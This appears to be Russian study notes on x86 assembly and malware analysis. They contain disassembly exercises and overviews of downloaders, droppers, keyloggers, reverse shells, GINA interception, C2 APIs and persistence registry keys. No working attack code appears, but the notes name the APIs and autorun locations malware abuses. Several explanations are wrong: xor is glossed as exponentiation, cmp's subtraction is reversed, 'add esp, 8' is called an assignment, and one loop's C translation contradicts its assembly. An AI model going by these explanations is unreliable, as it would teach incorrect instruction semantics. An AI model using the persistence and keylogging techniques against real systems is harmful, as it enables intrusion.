#Инструкция mul всегда умножает eax на значение. Следовательно, перед умножением регистр EAX должен быть подготовлен соответствующим образом. Результат сохраняется в виде 64-битного значения сразу в двух регистрах: EDX и EAX. Первый хранит старшие 32 бита операции, а второй — младшие 32 бита.
mul ebx ; ebx умножается на eax, и результат сохраняется в EDX and EAX
mul bx ; bx умножается на ax, а результат сохраняется в DX and AX

#Инструкция div делает то же самое, что и mul, только в обратном направлении: она делит 64 бита, хранящихся в EDX и EAX, на значение. Поэтому перед делением вы должны подготовить регистры EDX и EAX. Результат деления сохраняется в EAX, а остаток — в EDX.
div ebx ; делит значение в EDX: EAX на EBX



xor eax, eax                #Очищает регистр EAX

or eax, 0x7575              #Выполняет логическое ИЛИ с EAX и 0x7575

mov eax, 0xA  #Сдвигает регистр EAX влево на 2 бита; обе эти инструкции имеют результат EAX = 0x28, поскольку число 1010
shl eax, 2        #(двоичное 0xA), сдвинутое на 2 бита влево, равно 101000 (0x28)

mov bl, 0xA       #Циклически сдвигает на 2 бита регистр BL; обе эти инструкции имеют результат BL = 10000010, , поскольку число ror bl, 2   #1010,циклически сдвинутое на 2 бита вправо, равно 10000010
```

Если во время анализа вредоносного ПО вы натолкнулись на функцию, состоящую из многократного повторения инструкций xor, or, and, shl, ror, shr или rol, размещенных в произвольном порядке, эта функция, скорее всего, занимается шифрованием или сжатием. Не отвлекайтесь на анализ каждой отдельной инструкции (разве что вам действительно это нужно). В большинстве случаев этот участок лучше всего пометить как процесс шифрования и двигаться дальше.

[Побитовые операции]

Одной из побитовых инструкций является инструкция not; она принимает только один операнд (который служит как источником, так и местом назначения) и инвертирует все биты. Если eax содержал FF FF 00 00 (11111111 11111111 00000000 00000000), то следующая инструкция инвертирует все биты и сохраняет их в регистре eax. В результате eax будет содержать 00 00 FF FF (00000000 00000000 11111111 11111111):

```
not eax
```

Инструкции and, or и xor выполняют побитовые операции and, or и xor и хранят результаты в месте назначения. Эти операции аналогичны операциям and (&), or (|), и xor (^) в языках программирования C или Python.
В следующем примере операция and выполняется для бита 0 регистра bl и бита 0 cl, бита 1 bl и бита 1 cl и т. д. Результат сохраняется в регистре bl:

```
and bl,cl ; то же, что и bl = bl & cl
```

В предыдущем примере, если bl содержал 5 (0000 0101) и cl содержал 6 (00000110),

тогда результат операции and был бы равен 4 (0000 0100), как показано ниже:
bl: 0000 0101
cl: 0000 0110

After and operation bl: 0000 0100
Аналогично операции or и xor выполняются с соответствующими битами операндов. Ниже приведены примеры инструкций:
or eax, ebx ; то же, что и eax = eax | EBX
xor eax, eax ; то же, что и eax = eax^eax, эта операция очищает регистр eax

```
 &  (and) - 1*1 = 1    0*0 = 0   1*0 = 0
 |  (or)  - 1*1 = 1    1*0 = 1   0*0 = 0
 ^  (xor) - 1*0 = 1    1*1 = 0   0*0 = 0
```

Инструкции shr (сдвиг вправо) и shl (сдвиг влево) принимают два операнда (назначение и количество). Назначение может быть регистром или ссылкой на память. Общая форма показана следующим образом. Обе инструкции сдвигают биты в назначении вправо или влево на количество битов, указанное операндом количества; эти инструкции выполняют те же операции, что и сдвиг влево (<<) и сдвиг вправо (>>) в языках программирования C или Python:

```
shl dst,count
```

[Ветвление и условные операторы]

#Безусловные переходы
В безусловном переходе переход всегда выполняется. Инструкция jmp говорит процессору выполнять код по другому адресу памяти. Это похоже на оператор goto в языке программирования C. Когда приведенная ниже инструкция выполняется, управление передается по адресу перехода, и выполнение начинается оттуда:
jmp <адрес перехода>

#Условные переходы
В условных переходах управление переносится в адрес памяти на основе какого-либо условия. Чтобы использовать условный переход, нужны инструкции, которые могут изменить флаги (set или clear). Эти инструкции могут выполнять арифметическую или побитовую операцию. Инструкция x86 дает инструкцию cmp, которая вычитает второй операнд (исходный операнд) из первого операнда (операция назначения) и изменяет флаги без сохранения разницы в пункте назначения.

```
cmp eax,5 ; вычитает eax из 5, устанавливает флаги, но результат не сохраняется
```

Инструкция	Описание	Флаги	Псевдонимы
jz	Переход, если ноль	zf=1	je
jnz	Переход, если не ноль	zf=0	jne
jl	Переход, если меньше	sf=1	jnge
jle	Переход, если меньше или равен	zf=1 или sf=1	jng
jg	Переход, если больше	zf=0 и sf=0	jnle
jge	Переход, если больше или равен	sf=0	jnl
jc	Переход, если есть перенос	cf=1	jb, jnae
jnc	Переход, если нет переноса	-	jnb, jae

[Оператор if]

C:

```
if (x == 0) {               если x=0
x = 5;                                ему присваевается 5
}                                     иначе
x= 2;                                 ему присваевается 2
```

Ассемблер:

```
cmp dword ptr [x], 0    x сравнивается с 0 при помощи cmp
jne end_if                  условие, jne - если не ноль, то
mov dword ptr [x], 5        x присваевается 5
end_if:                               иначе
mov dword ptr [x], 2        x присваевается 2
```

[Оператор If-Else]

C:

```
if (x == 0) {                         если x=0
x = 5;                                то x присваевается 5
} else {                    иначе (если x не равен 0)
x = 1;                                x присваевается 1
}
```

Ассемблер:

```
cmp dword ptr [x], 0        сравниваем x с 0
jne else                    если x не равно 0 то прыгаем на else ->
mov dword ptr [x], 5        если x равно 0 то присваеваем 5
jmp end                               заканчиваем условие
else:                                 метка else
mov dword ptr [x], 1        x присваеваем 1
```

```
end:                                    конец
```

[Оператор If-Elseif-Else]

C:

```
if (x == 0) {
x = 5;
}
else if (x == 1) {
x = 6;
}
else {
x = 7;
}
```

Ассемблер:

```
cmp dword ptr [ebp-4], 0
jnz else_if
mov dword ptr [ebp-4], 5
jmp short end
else_if:
cmp dword ptr [ebp-4], 1
jnz else
mov dword ptr [ebp-4], 6
jmp short end
else:
mov dword ptr [ebp-4], 7
end:
```

[Циклы]

```
mov [i],0           присваеваем i значение 0
while_start:      метка
cmp [i], 5        сравниваем i с 5
jge end           условие, если i больше или равно 5, то прыгаем на метку end
mov eax, [i]      иначе, присваеваем регистру eax значение i
add eax, 1        суммируем регистр eax с 1
mov [i], eax      присваеваем i значение регистра eax
jmp while_start     прыгаем на метку while_start
end:                          конец
```

[Функции]

#Стек
Стек – это область памяти, которая выделяется операционной системой, когда создается поток. Стек организован по принципу «последним пришел – первым ушел» (LIFO), что означает, что самые последние данные, которые вы положили в стек, будут первыми удалены оттуда. Данные добавляются в стек, используя инструкцию push (проталкивание), и удаляются, используя инструкцию pop
(удаление). Инструкция push помещает 4-байтовое значение в стек, инструкция pop удаляет 4-байтовое значение с вершины стека. Общие формы инструкций push и pop показаны ниже:

```
push source                 #проталкивает источник на вершину стека
pop destination             #копирует значение из вершины стека в место назначения
```

#Функция вызова
Инструкция call на языке ассемблера может использоваться для вызова функции. Общая форма инструкции выглядит следующим образом:

```
call <some_function>
```

С точки зрения анализа кода, думайте о some_function как об адресе, содержащем фрагмент кода. Когда инструкция call выполняется, управление передается some_function (фрагмент кода), но до этого он сохраняет адрес следующей инструкции (инструкция, следующая после call <some_function>), добавив ее в стек. Адрес, следующий за call, который добавляется в стек, называется
возвращаемый адрес. Как только some_function завершит выполнение, возвращаемый адрес, сохраненный в стеке, удаляется из него, и выполнение продолжается с удаленного адреса.

#Возвращение из функции
В языке ассемблера, чтобы вернуться из функции, используется инструкция
 ret
Эта инструкция удаляет адрес с вершины стека; удаленный адрес помещается в регистр eip, и контроль передается удаленному адресу.

[Параметры функции и возвращаемые значения]

```
int test(int a, int b)       функция тест которая задает два параметра
{
 int x, y;
 x = a;
 y = b;
 return 0;
}
int main()                        функция мэйн, которая вызывает функцию тест с параметрами 2 и 3
{
 test(2, 3);
 return 0;
}
```

#Во-первых, давайте посмотрим, как операторы внутри функции main()
транслируются в инструкции ассемблера:

```
push 3                                  выделяем место под int b
push 2                                  выделяем место под int a
call test                   вызываем функцию тест
```

```
add esp, 8                  присваеваем esp значение 8, потому что запушили два раза по 4 байта
xor eax, eax                очищаем eax (return 0)


#Теперь давайте сосредоточимся на функции test, как показано ниже:
int test(int a, int b)
{
 int x, y;
 x = a;
 y = b;
 return 0;
}
Ниже приведена трансляция ассемблера функции test:
push ebp                    Первая инструкция сохраняет ebp (также называемый указателем кадра) в стеке; это
сделано для того, чтобы его можно было восстановить после возврата из функции
mov ebp, esp                              значение esp копируется в ebp; в результате и esp, и ebp указывают на
вершину стека
sub esp, 8
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
mov [ebp-8], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret


Обычно вы будете находить push ebp и mov ebp, esp в начале большинства
функций; эти две инструкции называются прологом функции. Эти инструкции
отвечают за  настройку среды для функции.


[Массивы и строки]

Когда вы используете nums[0] в языке высокого уровня, он транслируется как [nums
+0*<рамер__каждого_элемента_в_байтах>], где 0 – индекс, а nums – базовый адрес массива. Из предыдущего примера вы
можете получить доступ к элементам целочисленного массива (размер каждого элемента составляет 4 байта), как
показано ниже:
nums[0] = [nums+0*4] = [0x4000+0*4] = [0x4000] = 1
nums[1] = [nums+1*4] = [0x4000+1*4] = [0x4004] = 2
nums[2] = [nums+2*4] = [0x4000+2*4] = [0x4008] = 3

Общая форма массива чисел nums может быть представлена следующим образом:
nums[i] = nums+i*4
Ниже показан общий формат доступа к элементам массива:
[base_address + index * size of element]
```

Задачи по дизассемблированию

1.)
Дано:

Ассемблер:

```
1.mov dword ptr [ebp-4],1
2.mov eax,dword ptr [ebp-4]
3.mov dword ptr [ebp-8],eax
```

Аналог:

```
mov [ebp-4],1                                   присваеваем адресу [ebp-4] значение 1
mov eax, [ebp-4]                                присваеваем регистру eax значение адреса [ebp-4]  (1)
mov [ebp-8],eax                                   присваеваем адресу [ebp-8] значение регистра
eax (1)
```

C:

```
int a=1
int b=a
```

2.)
Дано:

Ассемблер:

```
1.mov dword ptr [ebp-4], 16h
2.mov dword ptr [ebp-8], 5
3.mov eax, [ebp-4]
4.add eax, [ebp-8]
5.mov [ebp-0Ch], eax
6.mov ecx, [ebp-4]
7.sub ecx, [ebp-8]
8.mov [ebp-10h], ecx
```

Аналог:

```
1. mov [ebp-4], 22                              присваеваем адресу [ebp-4] значение 22
2. mov [ebp-8], 5                               присваеваем адресу [ebp-8] значение 5
3. mov eax, [ebp-4]                             присваеваем регистру eax значение адреса [ebp-4] (22)
4. add eax, [ebp-8]                             суммируем значение регистра eax и значение адреса [ebp-8]
(22 + 5) = 27
5. mov [ebp-12], eax                            присваеваем адресу [ebp-12] значение регистра eax  (27)
6. mov ecx, [ebp-4]                             присваеваем регистру ecx значение адреса [ebp-4]   (22)
7. sub ecx, [ebp-8]                             вычитаем значение регистра ecx из адреса [ebp-8]   (17)
8. mov [ebp-16], ecx                            присваеваем адресу [ebp-16] значение регистра ecx  (17)
```

C:

```
a=22
b=5
c=a+b
d=a-b
```

3.)
Дано:

```
1.  mov dword ptr [ebp-4], 1
2.  cmp dword ptr [ebp-4], 0
3.  jnz loc_40101C
4.  mov eax, [ebp-4]
5.  xor eax, 2
6.  mov [ebp-4], eax
7.  jmp loc_401025
8.  loc_40101C:
9.  mov ecx, [ebp-4]
10. xor ecx, 3
11. mov [ebp-4], ecx
12. loc_401025:
```

Аналог:

```
1.  mov dword ptr [ebp-4], 1     присваеваем адресу [ebp-4] значение 1
2.  cmp dword ptr [ebp-4], 0              сравниваем значение в адресе [ebp-4] с 0
3.  jnz loc_40101C                        условие, если x не равен 0 то прыгаем на метку loc_40101C
4.  mov eax, [ebp-4]                      если x равен 0, то присваеваем регистру eax значение адреса [ebp-4] (1)
5.  xor eax, 2                                  возводим значение в регистре eax во вторую степень (1)
6.  mov [ebp-4], eax                      присваеваем адресу [ebp-4] значение регистра eax (1)
7.  jmp loc_401025                        метка loc_401025 (конец)
8.  loc_40101C:                                 метка loc_40101C говорит нам
9.  mov ecx, [ebp-4]                      присвоить регистру ecx значение адреса [ebp-4]
10. xor ecx, 3                                  возвести значение регистра в степень 3 (1)
11. mov [ebp-4], ecx                      присвоить адресу [ebp-4] значение регистра ecx
12. loc_401025:                                 конец
```

C:

```
int a = 1;
if (a == 0)
{
```

```
a = a ^ 2;
}
else {
a = a ^ 3;
}
```

4.)
Дано:

```
1.  mov dword ptr [ebp-8], 0
2.  mov dword ptr [ebp-4], 0
3.  loc_401014:
4.  cmp dword ptr [ebp-4], 4
5.  cmp dword ptr [ebp-4], 4
6.  jge loc_40102E
7.  mov eax, [ebp-8]
8.  add eax, [ebp-4]
9.  mov [ebp-8], eax
10. mov ecx, [ebp-4]
11. add ecx, 1
12. mov [ebp-4], ecx
13. jmp loc_401014
14. loc_40102E:
```

Аналог:

```
mov [y], 1       присваеваем y значение 1
mov [x], 0     присваеваем x значение 0
loc_401014:      метка
cmp [x],4      сравниваем x с 4
jge loc_40102E               условие, если x больше или равен то прыгаем на метку loc_40102E
mov eax, [y]   иначе, присваеваем регистру eax значение y
add eax, [x]   суммируем значение регистра eax и значение x
mov [y], eax   присваеваем y значение регистра eax
mov ecx, [x]   присваеваем регистру ecx значение x
add ecx, 1     суммируем значение регистра ecx и 1
mov [x], ecx   присваеваем x значение регистра ecx
jmp loc_401014               прыгаем в метку loc_401014
loc_40102E:    конец
```

C:

```
y=1
x=0
while x <= 4
do
y=y+x
x+1
```

5.)
Дано:

Ассемблер:

```
push ebp
mov ebp, esp
sub esp, 14h
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-10h], 2
mov dword ptr [ebp-0Ch], 3
mov dword ptr [ebp-4], 0
loc_401022:
cmp dword ptr [ebp-4], 3
jge loc_40103D
mov eax, [ebp-4]
mov ecx, [ebp+eax*4-14h]
mov [ebp-8], ecx
mov edx, [ebp-4]
add edx, 1
mov [ebp-4], edx
jmp loc_401022
loc_40103D:
xor eax, eax
mov esp, ebp
pop ebp
ret
```

Аналог:

```
1.  push ebp                                                    (смотри выше описание)
2.  mov ebp, esp
3.  sub esp, 14h                                                из esp вычитается 20, это значит что
добавляются 5 переменных (4*5)
4.  mov [a], 1                                                              a=1
5.  mov [b], 2                                                              b=2
6.  mov [c], 3                                                              c=3
7.  mov [d], 0                                                              d=0
8.  loc_401022:                                                 метка
9.  cmp [d], 3                                                              сравниваем d с 3
10. jge loc_40103D                                              условие, если d больше или равен 3, то прыгаем
на метку loc_40103D
11. mov eax, [d]                                                иначе, присваем регистру eax значение
параметра d (0)
12. mov ecx, [ebp+eax*4-14h]            массив
13. mov [e], ecx
```

```
14. mov edx, [d]
15. add edx, 1
16. mov [d], edx
17. jmp loc_401022
18. loc_40103D:
19. xor eax, eax
20. mov esp, ebp
21. pop ebp
22. ret
```

```
int main()
{
 int a[3] = { 1, 2, 3 };
 int b, i;
 i = 0;
 while (i < 3)
 {
 b = a[i];
 i++;
 }
 return 0;
}
```

Теория по вредоносам

[Функциональные возможности и типы вредоносного ПО]

[Загрузчик]

Загрузчик - это программа, которая загружает другой вредоносный компонент из интернета и запускает его в системе. Это делается путем вызова API UrlDownloadToFile(), который загружает файл на диск. После загрузки он использует API-вызовы ShellExecute(), WinExec() или CreateProcess() для выполнения загруженного компонента. Обычно вы обнаружите, что загрузчики используются как часть шелл-кода эксплойта.
На скриншоте ниже показан 32-разрядный загрузчик вредоносных программ, использующий UrlDownloadToFileA() и ShellExecuteA() для загрузки и запуска двоичного файла вредоносного ПО. Чтобы определить URL, с которого загружается двоичный файл вредоносного ПО, была установлена точка останова при вызове UrlDownloadToFileA(). После запуска кода точка останова сработала, как показано на скриншоте ниже. Второй аргумент UrlDownloadToFileA() показывает URL-адрес, откуда будет загружен исполняемый файл вредоносного ПО (wowreg32.exe), а третий аргумент указывает местоположение на диске, где будет сохранен загруженный исполняемый файл. В этом случае загрузчик сохраняет загруженный исполняемый файл в каталоге %TEMP% как temp.exe

```
API:
UrlDownloadToFile()         # загрузка файлов из сети
ShellExecute()                      # выполнение программ
WinExec()                   # выполнение программ
CreateProcess()                     # выполнение программ
```

[Дроппер]

Дроппер - программа, которая встраивает в себя дополнительный вредоносный компонент. После выполнения дроппер извлекает вредоносный компонент и помещает его на диск. Дроппер обычно встраивает дополнительный двоичный файл в секцию ресурсов. Для извлечения встроенного исполняемого файла дроппер использует API-вызовы FindResource(), LoadResource(), LockResource() и SizeOfResource(). Ниже инструмент Resource Hacker показывает наличие PE-файла в секции ресурсов образца вредоносного ПО. В этом случае тип ресурса - это DLL.

После выполнения FindResourceA() его возвращаемое значение (хранящееся в EAX), которое является дескриптором информационного блока указанного ресурса, передается как второй аргумент API LoadResource(). LoadResource() извлекает дескриптор данных, связанный с ресурсом. Возвращаемое значение LoadResource(), которое содержит извлеченный дескриптор, затем передается в качестве аргумента в API LockResource(), который получает указатель на фактический ресурс. На скриншоте ниже выполнение приостанавливается сразу после вызова LockResource(). Изучение возвращаемого значения (хранящегося в EAX) в окне дампа показывает исполняемое содержимое PE, которое было получено из секции ресурсов. После извлечения ресурса вредоносная программа определяет размер ресурса (PE-файл) с помощью API SizofResource(). Затем вредоносная программа перемещает DLL на диск с помощью CreateFileA. Извлеченное содержимое PE затем записывается в DLL с помощью API WriteFile().

```
API:
FindResource()                      #
LoadResource()                      #
LockResource()                      #
SizeOfResource()            #
CreateFileA                     #
WriteFile()                     #
```

[Кейлоггер]

Кейлоггер - программа, предназначенная для перехвата и регистрации нажатий клавиш. Злоумышленники используют функциональные возможности кейлоггинга в своих вредоносных программах для кражи конфиденциальной информации (такой как имена пользователей, пароли, данные кредитных карт и т. д.), вводимой через клавиатуру. В этом разделе мы сосредоточимся в основном на кейлоггерах пользовательского режима. Злоумышленник может регистрировать нажатия клавиш, используя различные методы. Наиболее распространенными методами регистрации нажатий клавиш являются документированные функции API Windows: (a) проверка состояния ключа (с помощью API GetAsyncKeyState()) и (b) установка ловушек (с помощью API SetWindowHookEX()).

[Кейлогеры в пользовательском режиме]

Кейлогеры, работающие в пользовательском пространстве, обычно используют Windows API и реализованы путем перехвата или опроса. При перехвате
Windows API уведомляет вредонос о нажатии каждой клавиши — с помощью функции SetWindowsHookEx. Метод опроса использует функции GetAsyncKeyState
и GetForegroundWindow из Windows API, чтобы постоянно опрашивать состояние
клавиш.
Кейлогеры, занимающиеся перехватом, пользуются стандартной для Windows
функцией SetWindowsHookEx. Для ее вызова кейлогер может распространяться в виде
исполняемого файла; он также может включать в себя библиотеку для сохранения
нажатий, которую можно автоматически внедрить во множество системных процессов. Мы еще вернемся к функции SetWindowsHookEx в главе 12.
Прежде всего нас интересуют опрашивающие кейлогеры, которые используют вызовы GetAsyncKeyState и GetForegroundWindow. Функция GetAsyncKeyState
определяет, является ли клавиша нажатой, и если да, то нажимали ли ее после
последнего вызова GetAsyncKeyState. Функция GetForegroundWindow определяет
активное окно — то, которое находится в фокусе: так кейлогер может узнать, какое приложение использует ввод с клавиатуры (например, Блокнот или Internet
Explorer).
На рис. 11.3 проиллюстрирована типичная циклическая структура, которую можно
найти в опрашивающих кейлогерах. Сначала делается вызов GetForegroundWindow,
который записывает активное окно. Затем внутренний цикл перебирает список
клавиш, определяя состояние каждой из них с помощью функции GetAsyncKeyState.
Если клавиша нажата, программа проверяет состояние Shift и Caps Lock, чтобы узнать,
как правильно записать нажатие. По завершении внутреннего цикла опять вызывается функция GetForegroundWindow, чтобы проверить, находится ли пользователь
в том же окне. Этот процесс повторяется достаточно быстро, успевая за пользовательским вводом (кейлогер может использовать вызов Sleep, чтобы не потреблять
слишком много ресурсов).

[Кейлоггер, использующий GetAsyncKeyState()]

Этот метод включает в себя запрос состояния каждой клавиши на клавиатуре. Для этого кейлоггеры используют API-

функцию GetAsyncKeyState(), чтобы определить, нажата клавиша или нет. Из возвращаемого значения GetAsyncKeyState() можно определить, была ли клавиша нажата или отпущена во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState(). Ниже приведен прототип API-функции GetAsyncKeyState(): SHORT GetAsyncKeyState (int vKey);
GetAsynKeyState() принимает один целочисленный аргумент vKey, который указывает один из 256 возможных кодов виртуальных клавиш. Чтобы определить
состояние одной клавиши на клавиатуре, можно вызвать API-интерфейс GetAsyncKeyState(), передав в качестве аргумента код виртуальной клавиши, связанный с требуемой клавишей. Чтобы определить состояние всех клавиш на клавиатуре, кейлоггер постоянно опрашивает API GetAsyncKeyState() (передавая код каждой виртуальной клавиши в качестве аргумента) в цикле, чтобы
определить, какая клавиша нажата.

API:
GetAsyncKeyState()
GetKeyState()

[Кейлоггер, использующий SetWindowsHookEx()]

Другой распространенный метод кейлоггинга – установка функции (называемой процедурой перехвата) для мониторинга событий клавиатуры (например, нажатия клавиши). В этом методе вредоносная программа регистрирует функцию (процедуру перехвата), которая будет уведомлена, когда происходит событие клавиатуры, и эта функция может записывать нажатия клавиш в файл или отправлять их по сети. Вредоносная программа использует API-интерфейс SetWindowsHookEx(), чтобы указать, какой тип события следует отслеживать (например, клавиатура, мышь и т. д.), и процедуру перехвата, которая должна быть уведомлена, когда происходит событие определенного типа. Процедура перехвата может содержаться в DLL или текущем модуле.

API:
SetWindowsHookEx() #

[Бэкдор]
Бэкдоры — это программы, которые предоставляют злоумышленнику доступ
к компьютеру жертвы. Они являются самым обнаруживаемым типом вредоносного ПО, а их размер и набор возможностей может существенно варьироваться.
Код бэкдора обычно самодостаточен и не требует загрузки дополнительных зараженных файлов.
Бэкдоры взаимодействуют по Интернету множеством различных способов, но
передача данных, как правило, происходит по протоколу HTTP через порт 80.
HTTP составляет большую часть исходящего сетевого трафика, что дает вредоносу отличную возможность остаться незамеченным на фоне остальной информации.
Из главы 14 вы узнаете, как анализировать бэкдоры на уровне пакетов, создавая
эффективные сетевые сигнатуры. А пока мы сосредоточимся на высокоуровневом
взаимодействии.
Бэкдоры поставляются со стандартным набором функций: возможностью манипулировать ключами реестра, подсчитывать отображаемые окна, создавать каталоги,
искать файлы и т. д. Чтобы понять, что именно из этого используется бэкдором,
можно проверить, какие функции Windows API он импортирует.

[Ботнет]
Открывает злоумышленнику доступ к системе, чем похож на бэкдор, однако все компьютеры, зараженные одним ботнетом, получают одни и те же инструкции от единого управляющего сервера. Ботнет — это набор зараженных сетевых узлов (зомби), управляемых централизованно, обычно с помощью сервера, который называют контроллером ботнета. Цель ботнета состоит в заражении как можно большего числа компьютеров и создании
на их основе масштабной сети, которая может быть использована как для распространения другого вредоносного ПО или спама, так и для выполнения DDoS-атак
(distributed denial-of-service — распределенный отказ в обслуживании). Если все зомби
одновременно начнут атаковать определенный сайт, тот может стать недоступным.

[Обратная командная оболочка]

Обратная командная оболочка — это соединение, которое инициирует зараженный
компьютер, предоставляя командный доступ злоумышленнику. Это может быть как
отдельная вредоносная программа, так и один из компонентов более сложного бэкдора. Находясь в обратной командной оболочке, злоумышленник может выполнять
команды так, как будто все это происходит в его локальной системе.

[Обратная командная оболочка Netcat]

Программа Netcat, которую мы обсуждали в главе 3, может быть использована
для создания командной оболочки, если ее запустить на двух компьютерах. Злоумышленники часто используют ее саму, а также дополняют ей другое вредоносное ПО

[Обратная командная оболочка Windows]

Злоумышленники используют две простые реализации обратной командной оболочки в Windows на основе cmd.exe: базовую и многопоточную.
Базовый метод популярен среди авторов вредоносного ПО, так как его проще реализовать и в целом он работает не хуже многопоточного подхода. Он основан на вызове CreateProcess и изменении структуры STARTUPINFO, которая ему передается. Сначала создается сокет и устанавливается соединение с удаленным сервером. Затем этот сокет привязывается к стандартным потокам (вводу, выводу и потоку ошибок) процесса cmd.exe. CreateProcess запускает cmd.exe в режиме без окна, чтобы скрыть его от жертвы.

Многопоточная версия обратной командной оболочки Windows подразумевает создание сокета, двух каналов и двух потоков выполнения (поэтому вам следует искать вызовы CreateThread и CreatePipe). Этот метод иногда используется авторами вредоносного ПО в рамках стратегии по изменению или кодированию данных, передающихся по сокету. Функцию CreatePipe можно использовать для
привязки к каналу считывающего и записывающего концов, таких как стандартный ввод (stdin) и стандартный вывод (stdout). Функция CreateProcess позволяет привязать стандартные потоки к каналу, а не напрямую к сокету. После ее вызова вредонос создаст два потока выполнения: один для чтения из stdin канала и записи в сокет, а другой — для чтения из сокета и записи в stdout канала. Обычно
эти потоки выполнения занимаются кодированием данных, о чем мы поговорим в главе 13. С помощью методов обратного проектирования вы можете исследовать ответвления, в которых потоки декодируют пакеты, полученные в ходе зашифрованной сессии.

[Средства удаленного администрирования]

Средства удаленного администрирования (remote administration tools, или RAT) используются для управления компьютером или компьютерами по сети. Их часто задействуют в узконаправленных атаках — например, при похищении информации или перемещении от компьютера к компьютеру.

[Программа запуска]
Вредоносная программа, с помощью которой запускается другой зловредный код. Обычно в таких программах используются нетрадиционные методики запуска, позволяющие незаметно получить доступ к системе или повысить привилегии.

[Руткит]
Вредоносная программа, скрывающая существование другого кода. Руткиты обычно применяются в сочетании с другими вредоносами, такими как бэкдоры, что позволяет им открыть злоумышленнику доступ к системе и усложнить обнаружение кода.

[Запугивающее ПО]
Вредоносная программа, созданная для запугивания атакованного пользователя и склонения его к покупке чего-либо. Обычно имеет графический интерфейс, схожий с антивирусом или другим приложением, обеспечивающим безопасность. Она сообщает пользователю о наличии в его системе вредоносного кода и убеждает его в том, что единственным выходом из ситуации является покупка определенного «программного обеспечения», хотя на самом деле это лишь удалит саму запугивающую программу.

[Программа для рассылки спама]
Вредонос, который заражает компьютер пользователя и затем с его помощью рассылает спам. Этот тип программ генерирует доход для злоумышленников, позволяя им продавать услуги по рассылке спама.

[Червь, вирус]
Вредоносный код, который способен копировать себя и заражать другие компьютеры.

[Перехват GINA]

В Windows XP для хищения учетных данных используется прием, состоящий в перехвате GINA (graphical identification and authentication — графическая идентификация и аутентификация). Система GINA создавалась для того, чтобы позволить сторонним приложениям адаптировать под себя процесс входа в систему, добавляя поддержку таких технологий, как аппаратная радиочастотная идентификация
(radio-frequency identification, RFID) на основе маркеров или смарт-карт. Авторы вредоносного ПО пользуются этой возможностью для загрузки кода, который крадет учетные данные. GINA реализуется в виде DLL под названием msgina.dll и загружается программой Winlogon во время входа в систему. Winlogon также поддерживает сторонние плагины, загружая их перед GINA DLL (как при атаке посредника). Для удобства Windows предоставляет следующую ветвь реестра, где Winlogon может найти и загрузить сторонние DLL:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL

Когда-то мы нашли там зараженный файл fsgina.dll, который оказался перехватчиком GINA.
На рис. 11.2 показан пример того, как данные для входа в систему попадают к вредоносной библиотеке, проходя от Winlogon к msgina.dll. Вредоносу (fsgina.dll) удается перехватить всю учетную информацию, которую пользователь вводит во время аутентификации. Он может записать ее на диск или передать по сети.
Поскольку библиотека fsgina.dll перехватывает поток взаимодействия между Winlogon и GINA, она должна передать его дальше в msgina.dll, чтобы система продолжила нормально функционировать. Для этого вредоносу приходится экспортировать все функции, которые требуются системе GINA, — их насчитывается больше 15, и большинство из них имеют префикс Wlx. Очевидно, что при обнаружении в DLL
множества экспортных функций, которые начинаются с Wlx, можно с большой долей вероятности предположить, что это перехватчик GINA.
Библиотека msgina32.dll способна перехватить любую информацию, которая
передается системе во время аутентификации

msgina.dll — это системная библиотека, которая реализует технологию GINA,
в то время как msgina32.dll — это библиотека для перехвата вызовов GINA,
созданная автором вредоноса. Имя msgina32 подобрано специально, чтобы
ввести нас в заблуждение.

[Осуществление контроля вредоноса с помощью HTTP]

Управление и контроль, осуществляемые вредоносными программами (также называемые C&C или C2), – это то, как злоумышленники взаимодействуют с зараженной системой и осуществляют контроль над ней. При заражении системы большинство вредоносных программ связывается с сервером, контролируемым злоумышленником (сервер C2), чтобы принимать команды, загружать дополнительные компоненты или извлекать информацию. Злоумышленники используют различные методы и протоколы для контроля и управления.(HTTP)

API:
InternetOpen()
InternetConnect()
HttpOpenRequest()
HttpSendRequest()
InternetReadFile()

[Осуществление команды и контроля в пользовательском режиме]

```
API:
WSAStartup()                # инициализация системы сокетов Windows
Socket()                       # создание сокета
GetHostByName()      # Получает информацию о хосте по его имени
Connect()            #
CreateThread()       #
Send()               #
Recv()               #
```

[Методы персистентности вредоносных программ]

Часто злоумышленники хотят, чтобы их вредоносная программа оставалась на взломанных компьютерах даже после перезагрузки Windows. Это достигается с помощью различных методов персистентности; они позволяют злоумышленнику оставаться во взломанной системе без повторного заражения. Существует много способов запуска вредоносного кода при каждом запуске
Windows. В этом разделе вы узнаете о некоторых методах персистентности, используемых злоумышленниками. Некоторые

из этих методов, описанные в этом разделе, позволяют им выполнять вредоносный код с повышенными привилегиями.

[Запуск ключа реестра]

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

[Запланированные задачи]

schtasks
at

[Папка запуска]

Злоумышленники могут добиться персистентности, добавив свой вредоносный двоичный файл в папки запуска. Когда операционная система запускается, ищется папка запуска и выполняются файлы, находящиеся в этой папке. Операционная система Windows поддерживает два типа папок автозагрузки:
(а) общедоступные и (б) общесистемные

Общесистемные папки:
C:\%AppData%\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

[Записи реестра Winlogon]

Злоумышленник может добиться персистентности, изменив записи реестра,используемые процессом Winlogon. Процесс Winlogon отвечает за обработку интерактивных пользовательских входов и выходов из системы. После аутентификации пользователя процесс winlogon.exe запускает userinit.exe, который запускает сценарии входа и восстанавливает сетевые подключения. Затем userinit.exe запускает explorer.exe, являющийся оболочкой пользователя по умолчанию. Процесс winlogon.exe запускает userinit.exe из-за указанного ниже значения реестра. Эта запись указывает, какие программы должны выполняться Winlogon при входе пользователя в систему. По умолчанию в качестве этого значения указывается путь к userinit.exe (C:\Windows\system32\userinit.exe). Злоумышленник может изменить или добавить другое значение, содержащее путь к вредоносному исполняемому файлу, который затем будет запущен процессом winlogon.exe (когда пользователь входит в систему):
